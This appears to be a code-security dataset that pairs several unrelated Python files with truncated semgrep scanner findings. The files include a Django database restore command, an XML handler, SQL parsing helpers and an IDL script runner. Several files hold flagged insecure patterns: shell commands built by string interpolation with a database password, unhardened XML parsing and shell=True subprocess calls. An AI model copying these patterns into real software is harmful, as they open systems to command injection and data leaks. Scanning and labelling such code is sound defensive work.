continue
print ltype.title()
print "=" * 50
for (name, duration) in kinds:
if "Shockwave Flash" in name:
continue
if duration < self.minlength * 60:
continue
print "{:30} {}".format(name, timedelta(seconds=duration))
print
class ColumnReport(Report):
def show(self):
entries = self.entries()
rows = {
"application": {},
"website": {},
"system": {},
}
for (start_date, end_date, results) in entries:
for (ltype, kinds) in results.iteritems():
if self.type and self.type != ltype:
continue
for (name, duration) in kinds:
if "Shockwave Flash" in name:
continue
if name not in rows[ltype]:
rows[ltype][name] = {}
if duration < self.minlength * 60:
continue
rows[ltype][name][start_date] = timedelta(seconds=duration)
for (ltype, names) in rows.iteritems():
if self.type and self.type != ltype:
continue
names = sorted(names.keys())
print ''.join([n.ljust(30) for n in ["Date"] + names])
for (start_date, end_date, _) in entries:
results = []
for name in names:
results.append(rows[ltype][name].get(start_date, timedelta(seconds=0)))
row = [str(start_date)] + [str(x) for x in results]
print ''.join([n.ljust(30) for n in row])
| 117 | 29.61 | 91 | 20 | 743 | python | [{"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_976c1bc38dfe9fdb_1c6f1d82", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. 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In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_976c1bc38dfe9fdb_d194d97d", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. 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"""
Command for restoring a database
"""
import os, time
from django.core.management.base import BaseCommand
class Command(BaseCommand):
help = "Backup database. Only Mysql and Postgresql engines are implemented"
def handle(self, *args, **options):
from django.db import connection
from ... import settings
infile = os.path.join(settings.BACKUP_LOCATION, "%s.sql" %(settings.BACKUP_BASENAME))
if not settings.RESTORE_ENABLED:
print 'restore not enabled, set settings.EXTENSIONS_RESTORE_ENABLED=True to enable'
elif 'mysql' in settings.DB_ENGINE:
print 'Doing Mysql restore of database %s from %s' % (settings.DB_NAME, infile)
self.do_mysql_restore(infile)
elif 'postgres' in settings.DB_ENGINE:
print 'Doing Postgresql restore of database %s from %s' % (settings.DB_NAME, infile)
self.do_postgresql_restore(infile)
else:
print 'Backup in %s engine not implemented' % settings.DB_ENGINE
def do_mysql_restore(self, infile):
from ... import settings
args = []
if settings.DB_USER:
args += ["--user=%s" % settings.DB_USER]
if settings.DB_PASSWD:
args += ["--password=%s" % settings.DB_PASSWD]
if settings.DB_HOST:
args += ["--host=%s" % settings.DB_HOST]
if settings.DB_PORT:
args += ["--port=%s" % settings.DB_PORT]
args += [settings.DB_NAME]
os.system('mysql %s < %s' % (' '.join(args), infile))
def do_postgresql_restore(self, infile):
from ... import settings
args = []
if settings.DB_USER:
args += ["--username=%s" % settings.DB_USER]
if settings.DB_HOST:
args += ["--host=%s" % settings.DB_HOST]
if settings.DB_PORT:
args += ["--port=%s" % settings.DB_PORT]
if settings.DB_NAME:
args += [settings.DB_NAME]
os.system('PGPASSWORD=%s psql -c "drop schema public cascade; create schema public;" %s' % (settings.DB_PASSWD, ' '.join(args)))
os.system('PGPASSWORD=%s psql %s < %s' % (settings.DB_PASSWD, ' '.join(args), infile))
| 57 | 37.98 | 136 | 14 | 514 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_caecaae6a21961cb_c27287dd", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. 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} | 2.671875 | stackv2 | #!/usr/bin/env python
"""
================================================================================
:mod:`composition` -- Composition XML handler
================================================================================
.. module:: composition
:synopsis: Composition XML handler
.. inheritance-diagram:: pyhmsa.fileformat.xmlhandler.condition.composition
"""
# Script information for the file.
__author__ = "Philippe T. Pinard"
__email__ = "philippe.pinard@gmail.com"
__version__ = "0.1"
__copyright__ = "Copyright (c) 2014 Philippe T. Pinard"
__license__ = "GPL v3"
# Standard library modules.
import xml.etree.ElementTree as etree
# Third party modules.
# Local modules.
from pyhmsa.spec.condition.composition import CompositionElemental
from pyhmsa.fileformat.xmlhandler.xmlhandler import _XMLHandler
# Globals and constants variables.
class CompositionElementalXMLHandler(_XMLHandler):
def can_parse(self, element):
return element.tag == 'Composition' and element.get('Class') == 'Elemental'
def parse(self, element):
units = []
tmpcomposition = {}
subelements = element.findall('Element') + element.findall('Components/Element')
for subelement in subelements:
z = int(subelement.attrib['Z'])
value = self._parse_numerical_attribute(subelement)
units.append(value.unit)
tmpcomposition.setdefault(z, value)
# Check units
units = set(units)
if not units:
return None
if len(units) > 1:
raise ValueError('Incompatible unit in composition')
unit = list(units)[0]
composition = CompositionElemental(unit)
composition.update(tmpcomposition)
return composition
def can_convert(self, obj):
return type(obj) is CompositionElemental
def convert(self, obj):
element = etree.Element('Composition', {'Class': 'Elemental'})
subelement = etree.SubElement(element, 'Components')
attrib = type('MockAttribute', (object,), {'xmlname': 'Element'})
for z, fraction in obj.items():
subsubelement = self._convert_numerical_attribute(fraction, attrib)[0]
subsubelement.set('Unit', obj.unit)
subsubelement.set('Z', str(z))
subelement.append(subsubelement)
return element
| 73 | 31.51 | 88 | 14 | 493 | python | [{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_c2b741883e650953_6c1af3fa", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 22, "line_end": 22, "column_start": 1, "column_end": 38, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmpb8jm_z1l/c2b741883e650953.py", "start": {"line": 22, "col": 1, "offset": 617}, "end": {"line": 22, "col": 38, "offset": 654}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
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"visit_date": "2023-02-17T21:33:55.558398"
} | 2.359375 | stackv2 | def GenericCSVExport(qs, fields=None):
from django.db.models.loading import get_model
from django.http import HttpResponse, HttpResponseForbidden
from django.template.defaultfilters import slugify
import csv
model = qs.model
response = HttpResponse(mimetype='text/csv')
response['Content-Disposition'] = 'attachment; filename=%s.csv' % slugify(model.__name__)
writer = csv.writer(response)
if fields:
headers = fields
else:
headers = []
for field in model._meta.fields:
headers.append(field.name)
writer.writerow(headers)
for obj in qs:
row = []
for field in headers:
if field in headers:
if '.' in field:
subfields = field.split('.')
val = obj
for subfield in subfields:
val = getattr(val, subfield)
else:
val = getattr(obj, field)
if callable(val):
val = val()
row.append(val)
writer.writerow(row)
return response
| 34 | 32.82 | 93 | 18 | 218 | python | [{"finding_id": "semgrep_rules.python.django.security.audit.xss.direct-use-of-httpresponse_4830a9a31a12a595_2a1359cd", "tool_name": "semgrep", "rule_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. 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} | 3 | stackv2 | from __future__ import print_function
import re
import sqlparse
from sqlparse.sql import IdentifierList, Identifier, Function
from sqlparse.tokens import Keyword, DML, Punctuation
cleanup_regex = {
# This matches only alphanumerics and underscores.
"alphanum_underscore": re.compile(r"(\w+)$"),
# This matches everything except spaces, parens, colon, and comma
"many_punctuations": re.compile(r"([^():,\s]+)$"),
# This matches everything except spaces, parens, colon, comma, and period
"most_punctuations": re.compile(r"([^\.():,\s]+)$"),
# This matches everything except a space.
"all_punctuations": re.compile("([^\s]+)$"),
}
def last_word(text, include="alphanum_underscore"):
"""
Find the last word in a sentence.
>>> last_word('abc')
'abc'
>>> last_word(' abc')
'abc'
>>> last_word('')
''
>>> last_word(' ')
''
>>> last_word('abc ')
''
>>> last_word('abc def')
'def'
>>> last_word('abc def ')
''
>>> last_word('abc def;')
''
>>> last_word('bac $def')
'def'
>>> last_word('bac $def', include='most_punctuations')
'$def'
>>> last_word('bac \def', include='most_punctuations')
'\\\\def'
>>> last_word('bac \def;', include='most_punctuations')
'\\\\def;'
>>> last_word('bac::def', include='most_punctuations')
'def'
"""
if not text: # Empty string
return ""
if text[-1].isspace():
return ""
else:
regex = cleanup_regex[include]
matches = regex.search(text)
if matches:
return matches.group(0)
else:
return ""
# This code is borrowed from sqlparse example script.
# <url>
def is_subselect(parsed):
if not parsed.is_group:
return False
for item in parsed.tokens:
if item.ttype is DML and item.value.upper() in (
"SELECT",
"INSERT",
"UPDATE",
"CREATE",
"DELETE",
):
return True
return False
def extract_from_part(parsed, stop_at_punctuation=True):
tbl_prefix_seen = False
for item in parsed.tokens:
if tbl_prefix_seen:
if is_subselect(item):
for x in extract_from_part(item, stop_at_punctuation):
yield x
elif stop_at_punctuation and item.ttype is Punctuation:
return
# An incomplete nested select won't be recognized correctly as a
# sub-select. eg: 'SELECT * FROM (SELECT id FROM user'. This causes
# the second FROM to trigger this elif condition resulting in a
# `return`. So we need to ignore the keyword if the keyword
# FROM.
# Also 'SELECT * FROM abc JOIN def' will trigger this elif
# condition. So we need to ignore the keyword JOIN and its variants
# INNER JOIN, FULL OUTER JOIN, etc.
elif (
item.ttype is Keyword
and (not item.value.upper() == "FROM")
and (not item.value.upper().endswith("JOIN"))
):
return
else:
yield item
elif (
item.ttype is Keyword or item.ttype is Keyword.DML
) and item.value.upper() in ("COPY", "FROM", "INTO", "UPDATE", "TABLE", "JOIN"):
tbl_prefix_seen = True
# 'SELECT a, FROM abc' will detect FROM as part of the column list.
# So this check here is necessary.
elif isinstance(item, IdentifierList):
for identifier in item.get_identifiers():
if identifier.ttype is Keyword and identifier.value.upper() == "FROM":
tbl_prefix_seen = True
break
def extract_table_identifiers(token_stream):
"""yields tuples of (schema_name, table_name, table_alias)"""
for item in token_stream:
if isinstance(item, IdentifierList):
for identifier in item.get_identifiers():
# Sometimes Keywords (such as FROM ) are classified as
# identifiers which don't have the get_real_name() method.
try:
schema_name = identifier.get_parent_name()
real_name = identifier.get_real_name()
except AttributeError:
continue
if real_name:
yield (schema_name, real_name, identifier.get_alias())
elif isinstance(item, Identifier):
real_name = item.get_real_name()
schema_name = item.get_parent_name()
if real_name:
yield (schema_name, real_name, item.get_alias())
else:
name = item.get_name()
yield (None, name, item.get_alias() or name)
elif isinstance(item, Function):
yield (None, item.get_name(), item.get_name())
# extract_tables is inspired from examples in the sqlparse lib.
def extract_tables(sql):
"""Extract the table names from an SQL statement.
Returns a list of (schema, table, alias) tuples
"""
parsed = sqlparse.parse(sql)
if not parsed:
return []
# INSERT statements must stop looking for tables at the sign of first
# Punctuation. eg: INSERT INTO abc (col1, col2) VALUES (1, 2)
# abc is the table name, but if we don't stop at the first lparen, then
# we'll identify abc, col1 and col2 as table names.
insert_stmt = parsed[0].token_first().value.lower() == "insert"
stream = extract_from_part(parsed[0], stop_at_punctuation=insert_stmt)
return list(extract_table_identifiers(stream))
def find_prev_keyword(sql):
"""Find the last sql keyword in an SQL statement
Returns the value of the last keyword, and the text of the query with
everything after the last keyword stripped
"""
if not sql.strip():
return None, ""
parsed = sqlparse.parse(sql)[0]
flattened = list(parsed.flatten())
logical_operators = ("AND", "OR", "NOT", "BETWEEN")
for t in reversed(flattened):
if t.value == "(" or (
t.is_keyword and (t.value.upper() not in logical_operators)
):
# Find the location of token t in the original parsed statement
# We can't use parsed.token_index(t) because t may be a child token
# inside a TokenList, in which case token_index thows an error
# Minimal example:
# p = sqlparse.parse('select * from foo where bar')
# t = list(p.flatten())[-3] # The "Where" token
# p.token_index(t) # Throws ValueError: not in list
idx = flattened.index(t)
# Combine the string values of all tokens in the original list
# up to and including the target keyword token t, to produce a
# query string with everything after the keyword token removed
text = "".join(tok.value for tok in flattened[: idx + 1])
return t, text
return None, ""
def query_starts_with(query, prefixes):
"""Check if the query starts with any item from *prefixes*."""
prefixes = [prefix.lower() for prefix in prefixes]
formatted_sql = sqlparse.format(query.lower(), strip_comments=True)
return bool(formatted_sql) and formatted_sql.split()[0] in prefixes
def queries_start_with(queries, prefixes):
"""Check if any queries start with any item from *prefixes*."""
for query in sqlparse.split(queries):
if query and query_starts_with(query, prefixes) is True:
return True
return False
def is_destructive(queries):
"""Returns if any of the queries in *queries* is destructive."""
keywords = ("drop", "shutdown", "delete", "truncate", "alter")
return queries_start_with(queries, keywords)
if __name__ == "__main__":
sql = "select * from (select t. from tabl t"
print(extract_tables(sql))
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} | 2.4375 | stackv2 | import tarfile
import babi_parse
import numpy as np
import subprocess
from keras.utils.data_utils import get_file
from keras.layers.embeddings import Embedding
from keras import layers
from keras.layers import recurrent
from keras.models import Model
from keras.preprocessing.sequence import pad_sequences
def vectorize_stories(data, word_idx, story_maxlen, query_maxlen):
xs = []
xqs = []
ys = []
for story, query, answer in data:
x = [word_idx[w] for w in story]
xq = [word_idx[w] for w in query]
# let's not forget that index 0 is reserved
y = np.zeros(len(word_idx) + 1)
y[word_idx[answer]] = 1
xs.append(x)
xqs.append(xq)
ys.append(y)
return pad_sequences(xs, maxlen=story_maxlen), pad_sequences(xqs, maxlen=query_maxlen), np.array(ys)
def printshape(layer, should_print=True):
if should_print:
print(layer.shape)
subprocess.check_output('cd tasks; ./make_tasks.sh 1 20', shell=True)
params = {'flatten_sentences': True,
'only_supporting': False}
with tarfile.open('./tasks/tasks.tar') as tar:
train = babi_parse.extract_with_token(tar, 'train', flatten_tasks=True, **params)
test_nested, task_names = babi_parse.extract_with_token(tar, 'test', flatten_tasks=False, **params) # so that we can evaluate performance on each category
test_flattened = babi_parse.extract_with_token(tar, 'test', flatten_tasks=True, **params)
vocab = set()
for story, q, answer in train + test_flattened:
vocab |= set(story + q + [answer]) # union operation |=
vocab = sorted(vocab)
len(vocab) # pretty small vocab
vocab_size = len(vocab) + 1
word_idx = dict((c, i + 1) for i, c in enumerate(vocab))
story_maxlen = max(map(len, (x for x, _, _ in train + test_flattened)))
query_maxlen = max(map(len, (x for _, x, _ in train + test_flattened)))
x, xq, y = vectorize_stories(train, word_idx, story_maxlen, query_maxlen)
tx, txq, ty = vectorize_stories(test_flattened, word_idx, story_maxlen, query_maxlen)
ttx = []; ttxq = []; tty = [];
for taskid, task in enumerate(test_nested):
a,b,c = vectorize_stories(task, word_idx, story_maxlen, query_maxlen)
ttx.append(a); ttxq.append(b); tty.append(c)
RNN = recurrent.LSTM
EMBED_HIDDEN_SIZE = 50
SENT_HIDDEN_SIZE = 100
QUERY_HIDDEN_SIZE = 100
BATCH_SIZE = 32
EPOCHS = 20
DIAGNOSTIC_PRINT=True
print('RNN / Embed / Sent / Query = {}, {}, {}, {}'.format(RNN,
EMBED_HIDDEN_SIZE,
SENT_HIDDEN_SIZE,
QUERY_HIDDEN_SIZE))
showshape = lambda x: printshape(x, should_print=DIAGNOSTIC_PRINT)
sentence = layers.Input(shape=(story_maxlen,), dtype='int32')
showshape(sentence)
encoded_sentence = layers.Embedding(vocab_size, EMBED_HIDDEN_SIZE)(sentence)
showshape(encoded_sentence)
encoded_sentence = layers.Dropout(0.3)(encoded_sentence)
showshape(encoded_sentence)
question = layers.Input(shape=(query_maxlen,), dtype='int32')
showshape(question)
encoded_question = layers.Embedding(vocab_size, EMBED_HIDDEN_SIZE)(question)
showshape(encoded_question)
encoded_question = layers.Dropout(0.3)(encoded_question)
showshape(encoded_question)
encoded_question = RNN(EMBED_HIDDEN_SIZE)(encoded_question)
showshape(encoded_question)
encoded_question = layers.RepeatVector(story_maxlen)(encoded_question)
showshape(encoded_question)
merged = layers.add([encoded_sentence, encoded_question])
showshape(merged)
merged = RNN(EMBED_HIDDEN_SIZE)(merged)
showshape(merged)
merged = layers.Dropout(0.3)(merged)
showshape(merged)
preds = layers.Dense(vocab_size, activation='softmax')(merged)
showshape(preds)
model = Model([sentence, question], preds)
model.compile(optimizer='adam',
loss='categorical_crossentropy',
metrics=['accuracy'])
print('Training')
model.fit([x, xq], y,
batch_size=BATCH_SIZE,
epochs=EPOCHS,
validation_split=0.05,
shuffle=True)
loss, acc = model.evaluate([tx, txq], ty,
batch_size=BATCH_SIZE)
print('Test loss / test accuracy = {:.4f} / {:.4f}'.format(loss, acc))
for i in range(20):
loss, acc = model.evaluate([ttx[i], ttxq[i]], tty[i])
print('Task:\t{}\tAccuracy:\t{}'.format(i+1, acc))
| 136 | 30.73 | 158 | 13 | 1,101 | python | [{"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_5f38fd5eae10fef6_5fb53564", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 80, "line_end": 80, "column_start": 23, "column_end": 67, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/5f38fd5eae10fef6.py", "start": {"line": 80, "col": 23, "offset": 2645}, "end": {"line": 80, "col": 67, "offset": 2689}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
""
] | [
"rules.python.lang.maintainability.return-not-in-function"
] | [
"maintainability"
] | [
"MEDIUM"
] | [
"MEDIUM"
] | [
80
] | [
80
] | [
23
] | [
67
] | [
""
] | [
"`return` only makes sense inside a function"
] | [
5
] | [
""
] | [
""
] | babi_allAtOnce.py | /babi/babi_allAtOnce.py | cguptac/blog | MIT | |
2024-11-18T19:34:37.555042+00:00 | 1,669,146,016,000 | 89ce2347f47b3d5fd85ba9774a91355bd6af1c7c | 2 | {
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} | 2.4375 | stackv2 | """
Build SSW scripts from Jinja 2 templates
"""
import os
import datetime
import pathlib
import subprocess
import tempfile
import jinja2
from scipy.io import readsav
from .filters import string_list_filter
from .read_config import defaults
from .util import SSWIDLError, IDLLicenseError
from .filters import *
class Environment(object):
"""
Environment for running SSW and IDL scripts
Parameters
----------
ssw_packages : `list`, optional
List of SSW packages to load, e.g. 'sdo/aia', 'chianti'
ssw_paths : `list`, optional
List of SSW paths to pass to `ssw_path`
extra_paths : `list`, optional
Additional paths to add to the IDL namespace. Note that these
are appended to the front of the path such that they take
precedence over the existing path.
ssw_home : `str`, optional
Root of SSW tree
idl_home : `str`, optional
Path to IDL executable
filters : `dict`, optional
Filters to use in scripts. This should be a dictionary where the key
is the name of the filter and the value is the corresponding
function.
idl_only : `bool`, optional
If True, do not do any setup associated with SSW. This is useful
if your script has no SSW dependence.
header_script : `str` or path-like, optional
Script to run before script passed to ``run`` method. Can use any
of the variables passed to ``run``.
footer_script : `str` or path-like, optional
Script to run after script passed to ``run`` method. Can use any
of the variables passed to ``run``.
"""
def __init__(self, ssw_packages=None, ssw_paths=None, extra_paths=None,
ssw_home=None, idl_home=None, filters=None, idl_only=False,
header=None, footer=None):
self.ssw_packages = ssw_packages if ssw_packages is not None else []
self.ssw_paths = ssw_paths if ssw_paths is not None else []
self.extra_paths = extra_paths if extra_paths is not None else []
self.env = jinja2.Environment(loader=jinja2.PackageLoader('hissw', 'templates'))
self.env.filters['to_unit'] = units_filter
self.env.filters['log10'] = log10_filter
self.env.filters['string_list'] = string_list_filter
self.env.filters['force_double_precision'] = force_double_precision_filter
if filters is not None:
for k, v in filters.items():
self.env.filters[k] = v
self.header = '' if header is None else header
self.footer = '' if footer is None else footer
self._setup_home(ssw_home, idl_home, idl_only=idl_only)
def _setup_home(self, ssw_home, idl_home, idl_only=False):
"""
Setup SSW and IDL home locations
"""
self.ssw_home = defaults.get('ssw_home') if ssw_home is None else ssw_home
if idl_only:
self.ssw_home = None
else:
if self.ssw_home is None:
raise ValueError('ssw_home must be set at instantiation or in the hisswrc file.')
self.idl_home = defaults.get('idl_home') if idl_home is None else idl_home
if self.idl_home is None:
raise ValueError('idl_home must be set at instantiation or in the hisswrc file.')
@property
def executable(self):
"""
Path to executable for running code
"""
if self.ssw_home:
return 'sswidl'
else:
return os.path.join(self.idl_home, 'bin', 'idl')
def render_script(self, script, args):
"""
Render custom IDL scripts from templates and input arguments
"""
if isinstance(script, (str, pathlib.Path)) and os.path.isfile(script):
with open(script, 'r') as f:
script = f.read()
if not isinstance(script, str):
raise ValueError('Input script must either be a string or path to a script.')
return self.env.from_string(script).render(**args)
def custom_script(self, script, args):
"""
Generate the script that will be executed
"""
body = self.render_script(script, args)
header = self.render_script(self.header, args)
footer = self.render_script(self.footer, args)
idl_script = f'{header}\n{body}\n{footer}'
return idl_script
def procedure_script(self, script, save_vars, save_filename):
"""
Render inner procedure file
"""
if save_vars is None:
save_vars = []
params = {'_script': script,
'_save_vars': save_vars,
'_save_filename': save_filename}
return self.env.get_template('procedure.pro').render(**params)
def command_script(self, procedure_filename):
"""
Generate parent IDL script
"""
params = {'ssw_paths': self.ssw_paths,
'extra_paths': self.extra_paths,
'procedure_filename': procedure_filename}
return self.env.get_template('parent.pro').render(**params)
def shell_script(self, command_filename):
"""
Generate shell script for starting up SSWIDL
"""
params = {'executable': self.executable,
'ssw_home': self.ssw_home,
'ssw_packages': self.ssw_packages,
'idl_home': self.idl_home,
'command_filename': command_filename}
return self.env.get_template('startup.sh').render(**params)
def run(self, script, args=None, save_vars=None, verbose=True, **kwargs):
"""
Set up the SSWIDL environment and run the supplied scripts.
Parameters
----------
script : str
Literal script or path to script file
args : dict, optional
Input arguments to script
save_vars : list, optional
Variables to save and return from the IDL namespace
verbose : bool, optional
If True, print STDERR and SDOUT. Otherwise it will be
suppressed. This is useful for debugging.
"""
args = {} if args is None else args
# Expose the ssw_home variable in all scripts by default
args.update({'ssw_home': self.ssw_home})
with tempfile.TemporaryDirectory() as tmpdir:
# Get filenames
fn_template = os.path.join(
tmpdir, '{name}_'+datetime.datetime.now().strftime('%Y%m%d-%H%M%S')+'.{ext}')
save_filename = fn_template.format(name='idl_vars', ext='sav')
procedure_filename = fn_template.format(name='idl_procedure', ext='pro')
command_filename = fn_template.format(name='idl_script', ext='pro')
shell_filename = fn_template.format(name='ssw_shell', ext='sh')
# Render and save scripts
idl_script = self.custom_script(script, args)
with open(procedure_filename, 'w') as f:
f.write(self.procedure_script(idl_script, save_vars, save_filename))
with open(command_filename, 'w') as f:
f.write(self.command_script(procedure_filename))
with open(shell_filename, 'w') as f:
f.write(self.shell_script(command_filename,))
# Execute
subprocess.call(['chmod', 'u+x', shell_filename])
cmd_output = subprocess.run([shell_filename], shell=True, stderr=subprocess.PIPE,
stdout=subprocess.PIPE)
self._check_for_errors(cmd_output, verbose, **kwargs)
results = readsav(save_filename)
return results
def _check_for_errors(self, output, verbose, **kwargs):
"""
Check IDL output to try and decide if an error has occurred
"""
stdout = output.stdout.decode('utf-8')
stderr = output.stderr.decode('utf-8')
# NOTE: For some reason, not only errors are output to stderr so we
# have to check it for certain keywords to see if an error occurred
if kwargs.get('raise_exceptions', True):
if 'execution halted' in stderr.lower():
raise SSWIDLError(stderr)
if 'failed to acquire license' in stderr.lower():
raise IDLLicenseError(stderr)
if verbose:
print(f'{stderr}\n{stdout}')
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Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_ca0fddc699b84e91_035f877a", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. 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Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_ca0fddc699b84e91_a99744dd", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. 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Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.unchecked-subprocess-call_ca0fddc699b84e91_7c40e157", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.unchecked-subprocess-call", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "remediation": "check_call", "location": {"file_path": "unknown", "line_start": 182, "line_end": 182, "column_start": 24, "column_end": 28, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/library/subprocess.html#subprocess.check_call", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.unchecked-subprocess-call", "path": "/tmp/tmpb8jm_z1l/ca0fddc699b84e91.py", "start": {"line": 182, "col": 24, "offset": 7323}, "end": {"line": 182, "col": 28, "offset": 7327}, "extra": {"message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "fix": "check_call", "metadata": {"references": ["https://docs.python.org/3/library/subprocess.html#subprocess.check_call"], "category": "correctness", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_ca0fddc699b84e91_fee08c8b", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 183, "line_end": 184, "column_start": 26, "column_end": 64, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, 